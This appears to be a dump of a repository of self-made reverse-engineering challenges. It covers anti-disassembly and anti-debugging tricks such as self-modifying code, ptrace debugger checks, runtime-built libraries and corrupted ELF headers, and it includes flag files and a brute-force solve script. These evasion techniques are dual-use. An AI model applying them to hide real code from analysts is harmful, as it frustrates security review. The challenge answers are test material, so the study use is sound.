| 62 | ### - Self Modification 63 | 64 | 1. MPROTECT and editing of value using C address pointer 65 | 66 | ```shell 67 | > objdump -d dynamic 68 | ``` 69 | 70 | ### ![Objdump](dynamic/img/objdump.png) 71 | 72 | Calculate address of value to overwrite, eg. 73 | 74 | ```C 75 | void *add = (void*)ch; 76 | unsigned char *ins = (unsigned char*)add + 84; 77 | *ins = 0x24; 78 | ``` 79 | 80 | 0x14 is overwritten as 0x24 81 | 82 | ```C 83 | if (strlen(sr)==20) => if (strlen(sr)==36) 84 | ``` 85 | 86 | 2. Fork processes and editing of value within /proc/{pid}/mem 87 | 88 | Primary process pipes its information (pid, address and length of string to overwrite) to secondary process 89 | 90 | ```C 91 | int pipe1[2]; 92 | int pipe2[2]; 93 | int pipe3[2]; 94 | pid_t f = fork(); 95 | if (f == 0) { 96 | close(pipe1[1]); 97 | close(pipe2[1]); 98 | close(pipe3[1]); 99 | 100 | read(pipe1[0], addr_buf, 100); 101 | read(pipe2[0], length_buf, 100); 102 | read(pipe3[0], pid_buf, 100); 103 | // ... 104 | } else { 105 | close(pipe1[0]); 106 | close(pipe2[0]); 107 | close(pipe3[0]); 108 | 109 | // Calculate address, length of string and pid of process 110 | 111 | sprintf(addr_buf, "%lx", addr); 112 | sprintf(length_buf, "%lu", length); 113 | sprintf(pid_buf, "%d", pid); 114 | 115 | write(pipe1[1], addr_buf, strlen(addr_buf)+1); 116 | close(pipe1[1]); 117 | write(pipe2[1], length_buf, strlen(length_buf)+1); 118 | close(pipe2[1]); 119 | write(pipe3[1], pid_buf, strlen(pid_buf)+1); 120 | close(pipe3[1]); 121 | //... 122 | } 123 | ``` 124 | 125 | Secondary process to use pid to read /proc/{pid}/mem and overwrite string at given address and length 126 | 127 | ```C 128 | strncpy(buf, new_string, *length_given); 129 | lseek(mem_file, *address, SEEK_SET); 130 | if (write(mem_file, buf, *length_given) == -1) { 131 | puts("Incorrect"); 132 | return 1; 133 | } 134 | ``` 135 | 136 | Temporary string s is overwritten with flag (First string s != Second string s) 137 | 138 | ```C 139 | printf("\nThe flag is \"%s\"!\n", s); 140 | puts("\nValidating......"); 141 | sleep(1); 142 | if (!strcmp(s, inp)) { 143 | puts("Correct"); 144 | } else { 145 | puts("Incorrect"); 146 | } 147 | ``` 148 | 149 | ### - Dynamically loaded functions 150 | 151 | 1. Load function from struct function list 152 | 153 | ```C 154 | // Struct to load function 155 | typedef struct functions{ 156 | const char *function_name; 157 | TW address; 158 | } functions; 159 | 160 | // List of dynamic functions 161 | functions function_struct[] = { 162 | {"string_compare", &sc}, 163 | {NULL, NULL} 164 | }; 165 | 166 | // Compare called_function with function list, then load and run matched function 167 | int call_func(const char *called_function, const char* key, long* flag, long* buffer, char* input) 168 | { 169 | int k; 170 | for(k=0; function_struct[k].function_name != NULL; ++k){ 171 | if(strcmp(called_function, function_struct[k].function_name) == 0){ 172 | return function_struct[k].address(key, flag, buffer, input); 173 | } 174 | } 175 | return -1; 176 | } 177 | ``` 178 | 179 | Calling "string_compare" on call_func() will compare with function list in function_struct, then is loaded and run when matched 180 | 181 | (One function is stored within the struct for simplicity) 182 | 183 | 2. Load function from self-created library 184 | 185 | ```C 186 | // Pipe for loaded function 187 | struct S { 188 | string input, flag; 189 | int output; 190 | }; 191 | 192 | static const auto library = "\ 193 | #include\n\ 194 | #include\n\ 195 | struct S {std::string a,b;int i;};\n\ 196 | extern \"C\" void F(S &s) {\n\ 197 | if ((s.input.length()==0||\ 198 | s.flag.length()==0)||\ 199 | s.input.compare(s.flag)!=0||\ 200 | s.input.length()!=s.flag.length())\ 201 | {\n\ 202 | s.output=1;\n\ 203 | return;\n\ 204 | }\n\ 205 | s.output=0;}\n\ 206 | "; 207 | create(library) // Create library using gcc 208 | 209 | void * function_library = load() // Load library 210 | if ( function_library ) { 211 | // Load function F from created library 212 | int ( *func ) ( S & ) = (int (*)( S & )) dlsym ( function_library, "F" ); 213 | } 214 | ``` 215 | 216 | Create its own library with hidden function on runtime, such that loaded function will not be shown during decompilation 217 | 218 | ### - Corrupted header 219 | 220 | 1. Collapse header via assembly 221 | 222 | ### ![Corrupted header](corrupt/img/1.png) 223 | 224 | Entrypoint of executable is fit into the Magic bytes in the ELF header, on top of the collapsed headers 225 | 226 | Entrypoint gives problems to static debuggers and disassemblers from disassembling the full binary 227 | 228 | Radare2 and other dynamic disassemblers are able to ignore the ELF header and follow the jump instruction after the entrypoint, thus able to disassemble much more of the executable 229 | 230 | 2. Corrupt ELF headers, i.e. `e_shoff, e_shnum and e_shstrndx` 231 | 232 | ```C 233 | static Elf64_Ehdr* header; 234 | 235 | header->e_shoff = 0xffff; 236 | header->e_shnum = 0xffff; 237 | header->e_shstrndx = 0xffff; 238 | ``` 239 | 240 | Disassembler reads ELF binary with overflow, preventing static debuggers and disassemblers from working 241 | 242 | Values can be also be changed to 0x0 for the opposite effect, where the disassembler is unable to read the full binary 243 | -------------------------------------------------------------------------------- /corrupt/README.md: -------------------------------------------------------------------------------- 1 | # Corrupt 2 | 3 | ## Solving 4 | 5 | - Hexdump shows stored strings and data 6 | 7 | - Tailer of executable shows print buffers and null bytes, followed by a hex array 8 | 9 | - Hex array can be inferred to be the encoded output flag 10 | 11 | ### ![Executable Hexdump](img/8.png) 12 | 13 | - Dynamic analysis of executable shows the executable receiving a string of less than 50 bytes 14 | 15 | - Executable contained "Why_c4nt_1_d3c0mp1l3_th1s" as plain text string, which is the correct string input for the executable 16 | 17 | - After inputting the correct string, the executable prints "Flag: W", which is the found hex array in the executable 18 | 19 | - Hex array is encoded? The executable actually accepts a string input with more characters appended to the previous string input until 50 bytes 20 | 21 | - Decompiling the hexdump of the binary shows one byte used as XOR, and another byte used as SUB 22 | 23 | ```asm 24 | 51: c0 80 cd db 31 83 8a rol BYTE PTR [eax-0x7cce2433],0x8a 25 | 58: 01 30 add DWORD PTR [eax],esi 26 | 5a: 00 20 add BYTE PTR [eax],ah 27 | 5c: 0d 8a 01 88 00 or eax,0x88018a 28 | 61: 20 c8 and al,cl 29 | 63: 30 15 8a 01 87 00 xor BYTE PTR ds:0x87018a,dl 30 | 69: 20 d0 and al,dl 31 | 6b: 28 83 89 02 24 00 sub BYTE PTR [ebx+0x240289],al 32 | 71: 20 83 43 29 fb de and BYTE PTR [ebx-0x2104d6bd],al 33 | 77: 75 06 jne 0x7f 34 | ``` 35 | 36 | - An easier method will be to use a dynamic disassembler, Radare2! 37 | 38 | ### ![Radare2 Disassembly](img/10.png) 39 | 40 | - Two bytes in the input are used in decoding the hex array. By using a cyclic pattern on the ecx and edx registers, the bytes are found to be the 19th and 20th bytes appended to the input string 41 | 42 | ### ![Radare2 Debugging](img/11.png) 43 | 44 | - By brute forcing the pattern, since the flag string is printed with '\n', only one readable flag is found 45 | 46 | (Code uses variations of "A5M" for faster elimination to obtain readable flags) 47 | 48 | ### ![Decode Function](img/9.png) 49 | 50 | ## Workflow 51 | 52 | - Collapsed ELF Headers 53 | 54 | - Memory needs to be virtually allocated between 0x100000 and 0x800000 for executable to run 55 | 56 | - Part of _main function within ELF magic header, replacing `times 9 db 0` 57 | 58 | ### ![Collapsed Header](img/1.png) 59 | 60 | - MPROTECT to change address permissions to readable and writable for stdin buffer to be read 61 | 62 | ### ![MPROTECT](img/2.png) 63 | 64 | - Read from stdin and check if read 65 | 66 | ### ![Read STDIN](img/3.png) 67 | 68 | - Compares key and input string with truncated length of key 69 | 70 | ### ![Strncmp](img/4.png) 71 | 72 | - Uses tailer 2 bytes of input string of certain length as XOR and SUB keys for decoding of flag 73 | 74 | ### ![Decode Flag](img/5.png) 75 | 76 | - Prints decoded flag string no matter correct or wrong 77 | 78 | ### ![Prints "Flag"](img/6.png) 79 | 80 | - Stored string and hex array for key and flag respectively 81 | 82 | - Tailing `db 0`s for key buffer within .rodata section to hold XOR and SUB characters for decoding of flag 83 | 84 | - Hex array of encoded flag stored within .data section 85 | 86 | ### ![Stored Strings](img/7.png) 87 | -------------------------------------------------------------------------------- /corrupt/corrupt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/corrupt -------------------------------------------------------------------------------- /corrupt/corrupt_final.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | org 0x00200000 3 | PROT_READ equ 0x1 ; page can be read 4 | PROT_WRITE equ 0x2 ; page can be written 5 | 6 | ehdr: 7 | db 0x7F, "ELF" ; e_ident 8 | db 1, 1, 1 9 | _start: mov dl, len ; length 10 | mov ecx, msg ; msg buffer 11 | jmp _main 12 | dw 2 ; e_type 13 | dw 3 ; e_machine 14 | dd 1 ; e_version 15 | dd _start ; e_entry 16 | dd phdr - $$ ; e_phoff 17 | phdr: dd 1 ; e_shoff ; p_type 18 | dd 0 ; e_flags ; p_offset 19 | dd $$ ; e_ehsize ; p_vaddr 20 | ; e_phentsize 21 | dw 1 ; e_phnum ; p_paddr 22 | dw 0 ; e_shentsize 23 | dd filesize ; e_shnum ; p_filesz 24 | ; e_shstrndx 25 | dd filesize ; p_memsz 26 | dd 5 ; p_flags 27 | dw 0x1 ; p_align 28 | 29 | _main: call _print 30 | mov al, 125 ; mprotect 31 | mov ebx, 0x200000 ; multiple of pagesize 32 | mov ecx, 4096 ; pagesize 33 | mov dl, PROT_READ 34 | or edx, PROT_WRITE 35 | int 0x80 36 | 37 | mov dl, 50 ; length 38 | mov ecx, input ; input buffer 39 | mov ebx, 2 40 | mov al, 3 ; sys_read 41 | int 0x80 42 | 43 | test eax, eax ; check if stdin is read 44 | jle EOF 45 | 46 | mov esi, key ; key 47 | mov edi, input ; input 48 | mov ecx, klen-19 ; len(key) 49 | cld 50 | repe cmpsb ; strncmp(key, input, len(key)) 51 | jecxz decode ; if ecx == 0 52 | 53 | mov edx, wlen ; length 54 | mov ecx, wrong ; incorrect buffer 55 | call _print 56 | 57 | EOF: xor eax, eax ; _exit() 58 | inc eax 59 | int 0x80 60 | 61 | decode: xor ebx, ebx ; index 62 | cycle: mov al, byte [buf + ebx] ; flag buffer index 63 | ;xor al, 0x39 ; decode with xor 0x39 64 | mov cl, byte [input + klen - 1] 65 | xor al, cl 66 | ;sub al, 0x64 ; decode with sub 0x64 67 | mov dl, byte [input + klen - 2] 68 | sub al, dl 69 | mov [flag + ebx], eax ; copy to flag string buffer 70 | inc ebx 71 | cmp ebx, blen ; end of flag buffer 72 | jne cycle 73 | 74 | mov edx, clen 75 | mov ecx, correct 76 | call _print 77 | mov edx, flen ; length 78 | mov ecx, flag ; flag string buffer 79 | call _print 80 | jmp EOF 81 | 82 | _print: mov bl, 1 83 | mov al, 4 84 | int 0x80 85 | ret 86 | 87 | section .rodata 88 | msg db "Guess the flag?", 0xa 89 | len equ $ - msg 90 | wrong db "Incorrect", 0xa 91 | wlen equ $ - wrong 92 | correct db "Flag: " 93 | clen equ $ - correct 94 | key db "Why_c4nt_1_d3c0mp1l3_th1s", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ; "Why_c4nt_1_d3c0mp1l3_th1s__________________d9" 95 | klen equ $ - key 96 | 97 | section .bss 98 | input resb 200 99 | inlen equ $ - input 100 | flag resb 100 ; "A5M_15n't_th4t_34sy_4ft3r_4ll_4857614902", 0xa 101 | flen equ $ - flag 102 | 103 | section .data 104 | buf db 0x9c, 0xa0, 0x88, 0xfa, 0xac, 0xa0, 0xeb, 0xb2, 0xe1, 0xfa, 0xe1, 0xf5, 0xa1, 0xe1, 0xfa, 0xae, 0xa1, 0xee, 0xe4, 0xfa, 0xa1, 0xf3, 0xe1, 0xae, 0xef, 0xfa, 0xa1, 0xe9, 0xe9, 0xfa, 0xa1, 0xa5, 0xa0, 0xa2, 0xa3, 0xac, 0xa1, 0xa4, 0xad, 0xaf, 0x57 105 | blen equ $ - buf 106 | 107 | filesize equ $ - $$ 108 | -------------------------------------------------------------------------------- /corrupt/corrupt_flag.txt: -------------------------------------------------------------------------------- 1 | > nasm -f bin -o corrupt corrupt_final.asm 2 | 3 | 4 | Input: Why_c4nt_1_d3c0mp1l3_th1s__________________d9 5 | 6 | Flag: A5M_15n't_th4t_34sy_4ft3r_4ll_4857614902 7 | -------------------------------------------------------------------------------- /corrupt/history/corrupt1.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | org 0x00200000 3 | 4 | ehdr: 5 | db 0x7F, "ELF" ; e_ident 6 | db 1, 1, 1 7 | _start: jmp _main 8 | times 7 db 0 9 | dw 2 ; e_type 10 | dw 3 ; e_machine 11 | dd 1 ; e_version 12 | dd _start ; e_entry 13 | dd phdr - $$ ; e_phoff 14 | phdr: dd 1 ; e_shoff ; p_type 15 | dd 0 ; e_flags ; p_offset 16 | dd $$ ; e_ehsize ; p_vaddr 17 | ; e_phentsize 18 | dw 1 ; e_phnum ; p_paddr 19 | dw 0 ; e_shentsize 20 | dd filesize ; e_shnum ; p_filesz 21 | ; e_shstrndx 22 | dd filesize ; p_memsz 23 | dd 5 ; p_flags 24 | dw 0x1 ; p_align 25 | 26 | _main: mov edx, len 27 | mov ecx, msg 28 | mov ebx, 1 29 | mov eax, 4 30 | int 0x80 31 | 32 | xor eax, eax ; _exit() 33 | inc eax 34 | int 0x80 35 | 36 | section .data 37 | msg db "Guess the flag?", 0xa 38 | len equ $ - msg 39 | 40 | filesize equ $ - $$ 41 | -------------------------------------------------------------------------------- /corrupt/history/corrupt2.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | org 0x00200000 3 | PROT_READ equ 0x1 ; page can be read 4 | PROT_WRITE equ 0x2 ; page can be written 5 | 6 | ehdr: 7 | db 0x7F, "ELF" ; e_ident 8 | db 1, 1, 1 9 | _start: mov dl, len ; length 10 | mov ecx, msg ; buffer 11 | jmp _main 12 | dw 2 ; e_type 13 | dw 3 ; e_machine 14 | dd 1 ; e_version 15 | dd _start ; e_entry 16 | dd phdr - $$ ; e_phoff 17 | phdr: dd 1 ; e_shoff ; p_type 18 | dd 0 ; e_flags ; p_offset 19 | dd $$ ; e_ehsize ; p_vaddr 20 | ; e_phentsize 21 | dw 1 ; e_phnum ; p_paddr 22 | dw 0 ; e_shentsize 23 | dd filesize ; e_shnum ; p_filesz 24 | ; e_shstrndx 25 | dd filesize ; p_memsz 26 | dd 5 ; p_flags 27 | dw 0x1 ; p_align 28 | 29 | _main: mov bl, 1 30 | mov al, 4 31 | int 0x80 32 | 33 | mov al, 125 ; mprotect 34 | mov ebx, 0x200000 ; multiple of pagesize 35 | mov ecx, 4096 ; pagesize 36 | mov dl, PROT_READ 37 | or edx, PROT_WRITE 38 | int 0x80 39 | 40 | mov dl, 20 ; length 41 | mov ecx, input ; buffer 42 | mov ebx, 2 43 | mov al, 3 44 | int 0x80 45 | 46 | xor eax, eax ; _exit() 47 | inc eax 48 | int 0x80 49 | 50 | section .data 51 | msg db "Guess the flag?", 0xa 52 | len equ $ - msg 53 | 54 | section .bss 55 | input resb 200 56 | 57 | filesize equ $ - $$ 58 | -------------------------------------------------------------------------------- /corrupt/history/corrupt3.asm: -------------------------------------------------------------------------------- 1 | BITS 32 2 | org 0x00200000 3 | PROT_READ equ 0x1 ; page can be read 4 | PROT_WRITE equ 0x2 ; page can be written 5 | 6 | ehdr: 7 | db 0x7F, "ELF" ; e_ident 8 | db 1, 1, 1 9 | _start: mov dl, len ; length 10 | mov ecx, msg ; msg buffer 11 | jmp _main 12 | dw 2 ; e_type 13 | dw 3 ; e_machine 14 | dd 1 ; e_version 15 | dd _start ; e_entry 16 | dd phdr - $$ ; e_phoff 17 | phdr: dd 1 ; e_shoff ; p_type 18 | dd 0 ; e_flags ; p_offset 19 | dd $$ ; e_ehsize ; p_vaddr 20 | ; e_phentsize 21 | dw 1 ; e_phnum ; p_paddr 22 | dw 0 ; e_shentsize 23 | dd filesize ; e_shnum ; p_filesz 24 | ; e_shstrndx 25 | dd filesize ; p_memsz 26 | dd 5 ; p_flags 27 | dw 0x1 ; p_align 28 | 29 | _main: call _print 30 | mov al, 125 ; mprotect 31 | mov ebx, 0x200000 ; multiple of pagesize 32 | mov ecx, 4096 ; pagesize 33 | mov dl, PROT_READ 34 | or edx, PROT_WRITE 35 | int 0x80 36 | 37 | mov dl, 20 ; length 38 | mov ecx, input ; input buffer 39 | mov ebx, 2 40 | mov al, 3 41 | int 0x80 42 | 43 | test eax, eax ; check if stdin is read 44 | jle EOF 45 | 46 | mov esi, key ; key 47 | mov edi, input ; input 48 | mov ecx, klen+1 ; len(key) 49 | cld 50 | repe cmpsb ; strncmp(key, input, len(key)) 51 | jecxz decode ; if ecx == 0 52 | 53 | mov edx, wlen ; length 54 | mov ecx, wrong ; incorrect buffer 55 | call _print 56 | 57 | EOF: xor eax, eax ; _exit() 58 | inc eax 59 | int 0x80 60 | 61 | decode: mov edx, flen 62 | mov ecx, flag 63 | call _print 64 | jmp EOF 65 | 66 | _print: mov bl, 1 67 | mov al, 4 68 | int 0x80 69 | ret 70 | 71 | section .data 72 | msg db "Guess the flag?", 0xa 73 | len equ $ - msg 74 | wrong db "Incorrect", 0xa 75 | wlen equ $ - wrong 76 | 77 | section .bss 78 | input resb 200 79 | inlen equ $ - input 80 | 81 | section .rodata 82 | key db "hello", 0xa 83 | klen equ $ - key 84 | flag db "A5M_15n't_th4t_34sy_4ft3r_4ll_4857614902", 0xa 85 | flen equ $ - flag 86 | 87 | filesize equ $ - $$ 88 | -------------------------------------------------------------------------------- /corrupt/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/1.png -------------------------------------------------------------------------------- /corrupt/img/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/10.png -------------------------------------------------------------------------------- /corrupt/img/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/11.png -------------------------------------------------------------------------------- /corrupt/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/2.png -------------------------------------------------------------------------------- /corrupt/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/3.png -------------------------------------------------------------------------------- /corrupt/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/4.png -------------------------------------------------------------------------------- /corrupt/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/5.png -------------------------------------------------------------------------------- /corrupt/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/6.png -------------------------------------------------------------------------------- /corrupt/img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/7.png -------------------------------------------------------------------------------- /corrupt/img/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/8.png -------------------------------------------------------------------------------- /corrupt/img/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/corrupt/img/9.png -------------------------------------------------------------------------------- /corrupt/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | f = open('corrupt','rb').read() 4 | 5 | index = f.find('\x00'*10) 6 | 7 | encoded_flag = f[index:].replace('\x00'*23,'') 8 | 9 | def decode(ef): 10 | possible_flags = [] 11 | for xor in range(0, 127): 12 | for sub in range(0, 127): 13 | try: 14 | flag = ''.join([chr((ord(i) ^ xor) - sub) for i in ef]) 15 | if "ASM" in flag or "A5M" in flag or "asm" in flag or "a5m" in flag: 16 | possible_flags.append(flag) 17 | except: 18 | continue 19 | return [flag for flag in possible_flags if flag[-1] == '\n'] 20 | 21 | decoded_flag = decode(encoded_flag) 22 | 23 | assert len(decoded_flag) == 1 24 | 25 | print decoded_flag[0] 26 | -------------------------------------------------------------------------------- /dynamic/README.md: -------------------------------------------------------------------------------- 1 | # Dynamic 2 | 3 | ## Solving 4 | 5 | - Flag is 35 characters long, from the self modification 6 | 7 | - Flag is encoded using the "ic..." sequence as key 8 | 9 | ### ![Extract Sequence and Encoded Flag](img/6.png) 10 | 11 | - Extract 35 rows of \x__ characters 12 | 13 | - Characters with 'c' as key are bit subtracted by 0x47, while those with 'i' remain the same 14 | 15 | - Decode characters using the above rule to obtain the flag 16 | 17 | ### ![Decode Flag](img/7.png) 18 | 19 | ## Workflow 20 | 21 | - Change file permissions to RWX, then to X when exited 22 | 23 | ### ![Changing Binary Permissions](img/4.png) 24 | 25 | - Check if binary is run by a debugger, then change strlen check in main() from 20 to 35 26 | 27 | ### ![GDB Check](img/1.png) 28 | 29 | - Decode string using bit subtraction, then call DC() to load function dynamically 30 | 31 | ### ![Decode String and Call Loaded Function](img/5.png) 32 | 33 | - Finds function name within struct, and loads the function with the corresponding name 34 | 35 | ### ![Function loader](img/3.png) 36 | 37 | - Call loaded function to validate input string using ty as the index 38 | 39 | ### ![Dynamically Loaded Function](img/2.png) 40 | -------------------------------------------------------------------------------- /dynamic/dynamic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mcdulltii/C-Experiments/b00ea328d1aa45223ebbaa3477705d31ba089dfa/dynamic/dynamic -------------------------------------------------------------------------------- /dynamic/dynamic_final.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | // Hide letter 12 | #define hl(a) (a) + 0x47 13 | // Unhide letter 14 | #define ul(a) (a) - 0x47 15 | 16 | typedef int (*TW)(const char*,long*,long*,char*); 17 | int bf (void *ad); 18 | void ch (void); 19 | void __attribute__((constructor)) flag (void); 20 | 21 | // Check debugger and replace strlen value with 0x24 22 | int gdb(void *add) { 23 | if (ptrace(PTRACE_TRACEME, 0, NULL, 0) == -1) return 1; 24 | unsigned char *ins = (unsigned char*)add + 84; 25 | *ins = 0x24; 26 | return 0; 27 | } 28 | 29 | // String compare using string ty, comparing ar and in with buffer rs 30 | int pf(const char* ty,long* ar,long* rs, char* in) 31 | { 32 | while(*ty) 33 | { 34 | switch(*ty){ 35 | case 'i': 36 | if ((int)*ar != (int)*in) { 37 | puts("Incorrect"); 38 | return -1; 39 | } 40 | break; 41 | case 'c': 42 | if ((int)ul(*ar) != (int)*in) { 43 | hl(*ar); 44 | puts("Incorrect"); 45 | return -1; 46 | } 47 | hl(*ar); 48 | break; 49 | } 50 | ++ty; 51 | ++ar; 52 | ++in; 53 | } 54 | return 0; 55 | } 56 | 57 | // Struct to load function 58 | typedef struct ST{ 59 | const char *SN; 60 | TW pF; 61 | } ST; 62 | 63 | // List of dynamic functions 64 | ST tb[] = { 65 | {"fp", &pf}, 66 | {NULL, NULL} 67 | }; 68 | 69 | // Compare fc with function list, then load and run matched function 70 | int DC(const char *fc,const char* ty,long* ar,long* rs,char* in) 71 | { 72 | int k; 73 | for(k=0;tb[k].SN != NULL;++k){ 74 | if(strcmp(fc,tb[k].SN) == 0){ 75 | return tb[k].pF(ty,ar,rs,in); 76 | } 77 | } 78 | return -1; 79 | } 80 | 81 | // Change binary to be readable, writable and executable 82 | int bf(void *ad) { 83 | int pS = getpagesize(); 84 | ad -= (unsigned long)ad % pS; 85 | if(mprotect(ad, pS, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) { 86 | return -1; 87 | } 88 | return 0; 89 | } 90 | 91 | // Change binary to only be executable 92 | int fb(void *ad) { 93 | int pS = getpagesize(); 94 | ad -= (unsigned long)ad % pS; 95 | if(mprotect(ad, pS, PROT_EXEC) == -1) { 96 | return -1; 97 | } 98 | return 0; 99 | } 100 | 101 | // Prints prompt 102 | void flag(void) { 103 | printf("Guess the flag?\n"); 104 | } 105 | 106 | // Loads flag and string compare function 107 | void ch(void) { 108 | long ar[] = {68,hl('y'),110,52,hl('m'),49,hl('c'),hl('_'),70,hl('u'),110,99,hl('7'),49,hl('0'),110,hl('_'),hl('C'),52,hl('1'),49,53,hl('_'),51,56,hl('4'),hl('7'),53,53,hl('6'),51,hl('7'),57,52,hl('2')}; 109 | long rs[8]; 110 | char sr[255]; 111 | fgets(sr, 255, stdin); 112 | 113 | if (strlen(sr)==20) { 114 | int rC = DC("fp","iciicicciciicicicciciiciicciiciciic",(long*)ar,(long*)rs,(char*)sr); 115 | if (rC == 0) { 116 | puts("Correct"); 117 | } 118 | return; 119 | } 120 | puts("Incorrect"); 121 | } 122 | 123 | int main(void) { 124 | void *add = (void*)ch; 125 | if (bf(add) == -1) { 126 | puts("Incorrect"); 127 | } 128 | if (gdb(add)) exit(0); 129 | ch(); 130 | fb(add); 131 | return 0; 132 | } 133 | -------------------------------------------------------------------------------- /dynamic/dynamic_flag.txt: -------------------------------------------------------------------------------- 1 | Dyn4m1c_Func710n_C4115_384755637942 2 | -------------------------------------------------------------------------------- /dynamic/history/dynamic1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef int (*TWrapper)(const char*,long*,long*); 6 | 7 | int pf(const char* types,long* args,long* results) 8 | { 9 | // Function specific code, in this case you can call printf for each parameter 10 | while(*types) 11 | { 12 | switch(*types){ 13 | case 'i': 14 | printf("%d",(int)*args); 15 | break; 16 | case 'c': 17 | printf("%c",(char)*args); 18 | break; 19 | } 20 | ++types; 21 | ++args; 22 | } 23 | // Return number of filled results 24 | return 0; 25 | } 26 | 27 | int WrapFoo(const char* types,long* args,long* results) 28 | { 29 | // ..function specific code.. 30 | return 0; 31 | } 32 | 33 | typedef struct STableItem{ 34 | const char *strName; 35 | TWrapper pFunc; 36 | } STableItem; 37 | 38 | STableItem table[] = { 39 | {"printf", &pf}, 40 | {"foo", &WrapFoo}, 41 | {NULL, NULL} 42 | }; 43 | 44 | int DynamicCall(const char *func_name,const char* types,long* args,long* results) 45 | { 46 | int k; 47 | for(k=0;table[k].strName != NULL;++k){ 48 | if(strcmp(func_name,table[k].strName) == 0){ 49 | return table[k].pFunc(types,args,results); 50 | } 51 | } 52 | return -1; 53 | } 54 | 55 | int main() { 56 | long args[] = {123,'b'}; 57 | long results[8]; 58 | 59 | // Dynamic function call 60 | int res_count = DynamicCall("printf","ic",(long*)args,(long*)results); 61 | 62 | // Achieved output 63 | puts("\n123b"); 64 | } 65 | -------------------------------------------------------------------------------- /dynamic/history/dynamic2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define hl(a) (a) + 0x47 6 | #define ul(a) (a) - 0x47 7 | 8 | typedef int (*TW)(const char*,long*,long*,char*); 9 | 10 | int pf(const char* ty,long* ar,long* rs, char* in) 11 | { 12 | while(*ty) 13 | { 14 | switch(*ty){ 15 | case 'i': 16 | if ((int)*ar != (int)*in) { 17 | puts("Incorrect"); 18 | return -1; 19 | } 20 | break; 21 | case 'c': 22 | if ((int)ul(*ar) != (int)*in) { 23 | hl(*ar); 24 | puts("Incorrect"); 25 | return -1; 26 | } 27 | hl(*ar); 28 | break; 29 | } 30 | ++ty; 31 | ++ar; 32 | ++in; 33 | } 34 | return 0; 35 | } 36 | 37 | typedef struct ST{ 38 | const char *SN; 39 | TW pF; 40 | } ST; 41 | 42 | ST tb[] = { 43 | {"fp", &pf}, 44 | {NULL, NULL} 45 | }; 46 | 47 | int DC(const char *fc,const char* ty,long* ar,long* rs,char* in) 48 | { 49 | int k; 50 | for(k=0;tb[k].SN != NULL;++k){ 51 | if(strcmp(fc,tb[k].SN) == 0){ 52 | return tb[k].pF(ty,ar,rs,in); 53 | } 54 | } 55 | return -1; 56 | } 57 | 58 | int main() { 59 | long ar[] = {68,hl('y'),110,52,hl('m'),49,hl('c'),hl('_'),70,hl('u'),110,99,hl('7'),49,hl('0'),110,hl('_'),hl('C'),52,hl('1'),49,53,hl('_'),51,56,hl('4'),hl('7'),53,53,hl('6'),51,hl('7'),57,52,hl('2')}; 60 | long rs[8]; 61 | char sr[255]; 62 | fgets(sr, 255, stdin); 63 | 64 | if (strlen(sr)==36) { 65 | int rC = DC("fp","iciicicciciicicicciciiciicciiciciic",(long*)ar,(long*)rs,(char*)sr); 66 | if (rC == 0) { 67 | puts("Correct"); 68 | return 0; 69 | } else { 70 | return -1; 71 | } 72 | } 73 | 74 | puts("Incorrect"); 75 | } 76 | -------------------------------------------------------------------------------- /dynamic/history/dynamic3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define hl(a) (a) + 0x47 11 | #define ul(a) (a) - 0x47 12 | 13 | typedef int (*TW)(const char*,long*,long*,char*); 14 | int bf (void *ad); 15 | void ch (void); 16 | void __attribute__((constructor)) flag (void); 17 | 18 | int gdb() { 19 | int pid = fork(); 20 | int status; 21 | int res; 22 | if (pid == -1) { 23 | perror("fork"); 24 | return -1; 25 | } 26 | if (pid == 0) { 27 | int ppid = getppid(); 28 | if (ptrace(PTRACE_ATTACH, ppid, NULL, NULL) == 0) { 29 | waitpid(ppid, NULL, 0); 30 | 